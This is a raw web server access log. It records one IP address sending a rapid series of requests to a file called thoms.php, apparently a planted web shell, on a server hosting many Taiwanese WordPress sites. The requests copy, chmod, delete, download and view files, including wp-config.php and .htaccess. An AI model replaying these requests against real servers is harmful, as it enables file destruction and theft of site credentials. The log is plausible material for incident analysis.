45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=error_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=error_log&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16579 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw HTTP/1.1" 200 11415 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /betcity.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?copy=error_log&p=cgi-bin HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=error_log&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14099 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?chmod=locoy.php&p=betcity.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?chmod=.well-known&p=betcity.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:33 -0400] "GET /thoms.php?del=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?chmod=wp-content&p=betcity.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?del=error_log&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=error_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?del=index.php&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=index.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?dl=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p= HTTP/1.1" 200 11659 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?del=thoms.php&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?del=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?p=betcity.com.tw&upload= HTTP/1.1" 200 12155 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?chmod=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /betcity.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /betcity.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?del=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /betcity.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?dl=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11627 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?chmod=.htaccess&p=betcity.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?del=wp-admin&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?dl=thoms.php&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /betcity.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?del=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-settings.php HTTP/1.1" 200 19466 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:35 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/wp-links-opml.php HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?del=deprecated-complete&p=betcity.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=deprecated-complete&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fschema-shared&p= HTTP/1.1" 200 11668 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fschema-shared&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?del=upgrade&p=betcity.com.tw HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?del=upgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p= HTTP/1.1" 200 11670 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11660 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?del=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-mail.php HTTP/1.1" 200 15348 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /thoms.php?del=mah.php&p=betcity.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?del=mah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:36 -0400] "GET /betcity.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?del=wp-includes&p=betcity.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?del=license.txt&p=betcity.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=license.txt&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /betcity.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /betcity.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?chmod=deprecated-complete&p=betcity.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=deprecated-complete&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?p=betcity.com.tw&view=license.txt HTTP/1.1" 200 20078 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?chmod=readme.html&p=betcity.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:37 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?del=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13094 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?chmod=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /betcity.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13030 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?chmod=schema-shared&p=betcity.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=schema-shared&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
